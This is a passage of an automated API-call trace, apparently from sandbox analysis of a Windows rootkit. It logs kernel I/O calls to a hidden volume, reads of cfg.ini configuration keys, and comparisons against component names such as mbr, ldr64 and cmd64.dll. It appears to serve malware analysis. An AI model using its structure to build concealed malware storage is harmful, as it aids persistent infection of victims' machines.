Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.329] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.329] IdePortDispatch () returned 0x103 [0129.329] KeWaitForMutexObject () returned 0x0 [0129.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.329] KeLeaveCriticalRegion () [0129.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.330] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.330] KeEnterCriticalRegion () [0129.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] KeLeaveCriticalRegion () [0129.330] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.330] KeEnterCriticalRegion () [0129.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.330] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] KeLeaveCriticalRegion () [0129.330] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.330] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.330] KeEnterCriticalRegion () [0129.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.330] KeLeaveCriticalRegion () [0129.330] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.330] ReleaseMutex (hMutex=0xf0) returned 1 [0129.330] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.331] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.331] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.331] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.331] KeEnterCriticalRegion () [0129.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.331] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.331] IdePortDispatch () returned 0x103 [0129.331] KeWaitForMutexObject () returned 0x0 [0129.331] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.331] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.331] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.331] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.331] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.331] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.331] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.331] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.331] KeLeaveCriticalRegion () [0129.331] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.331] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.331] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.332] KeEnterCriticalRegion () [0129.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.332] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.332] IdePortDispatch () returned 0x103 [0129.332] KeWaitForMutexObject () returned 0x0 [0129.332] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.332] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.332] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.332] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.332] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.332] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.332] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.332] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.332] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.332] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.332] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.332] KeLeaveCriticalRegion () [0129.332] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.332] ReleaseMutex (hMutex=0x100) returned 1 [0129.332] Sleep (dwMilliseconds=0x2bf20) [0129.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7049bff0, dwHighDateTime=0x1d24fa4)) [0129.339] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.339] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.339] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.339] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.339] KeEnterCriticalRegion () [0129.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.339] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.339] IdePortDispatch () returned 0x103 [0129.340] KeWaitForMutexObject () returned 0x0 [0129.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.340] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.340] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.340] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.340] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.340] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02f10 [0129.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.340] KeLeaveCriticalRegion () [0129.340] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.340] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.340] KeEnterCriticalRegion () [0129.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.340] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.340] KeLeaveCriticalRegion () [0129.340] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.340] KeEnterCriticalRegion () [0129.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.340] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.340] IdePortDispatch () returned 0x103 [0129.340] KeWaitForMutexObject () returned 0x0 [0129.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.341] KeLeaveCriticalRegion () [0129.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.341] KeEnterCriticalRegion () [0129.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd7000 [0129.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.341] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.341] IdePortDispatch () returned 0x103 [0129.341] KeWaitForMutexObject () returned 0x0 [0129.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.341] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.341] IdePortDispatch () returned 0x103 [0129.341] KeWaitForMutexObject () returned 0x0 [0129.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.341] KeLeaveCriticalRegion () [0129.341] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.342] KeEnterCriticalRegion () [0129.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] KeLeaveCriticalRegion () [0129.342] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.342] KeEnterCriticalRegion () [0129.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.342] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] KeLeaveCriticalRegion () [0129.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.342] KeEnterCriticalRegion () [0129.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] ExFreePoolWithTag (P=0xfffffa8003c02f10, Tag=0x0) [0129.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.342] KeLeaveCriticalRegion () [0129.342] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.342] ReleaseMutex (hMutex=0xf0) returned 1 [0129.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.342] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.343] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.343] KeEnterCriticalRegion () [0129.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.343] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.343] IdePortDispatch () returned 0x103 [0129.343] KeWaitForMutexObject () returned 0x0 [0129.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.343] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.343] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.343] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.343] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.343] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.343] KeLeaveCriticalRegion () [0129.343] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.343] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.343] KeEnterCriticalRegion () [0129.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.343] KeLeaveCriticalRegion () [0129.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.343] KeEnterCriticalRegion () [0129.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.343] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.343] IdePortDispatch () returned 0x103 [0129.344] KeWaitForMutexObject () returned 0x0 [0129.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.344] KeLeaveCriticalRegion () [0129.344] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.344] KeEnterCriticalRegion () [0129.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.344] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd8000 [0129.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.344] IdePortDispatch () returned 0x103 [0129.344] KeWaitForMutexObject () returned 0x0 [0129.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.344] IdePortDispatch () returned 0x103 [0129.344] KeWaitForMutexObject () returned 0x0 [0129.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] KeLeaveCriticalRegion () [0129.345] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.345] KeEnterCriticalRegion () [0129.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] KeLeaveCriticalRegion () [0129.345] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.345] KeEnterCriticalRegion () [0129.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.345] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] KeLeaveCriticalRegion () [0129.345] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.345] KeEnterCriticalRegion () [0129.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.345] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.346] KeLeaveCriticalRegion () [0129.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.346] ReleaseMutex (hMutex=0xf0) returned 1 [0129.346] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.346] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.346] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.346] KeEnterCriticalRegion () [0129.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.346] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.346] IdePortDispatch () returned 0x103 [0129.346] KeWaitForMutexObject () returned 0x0 [0129.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03440 [0129.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.346] KeLeaveCriticalRegion () [0129.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.346] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: 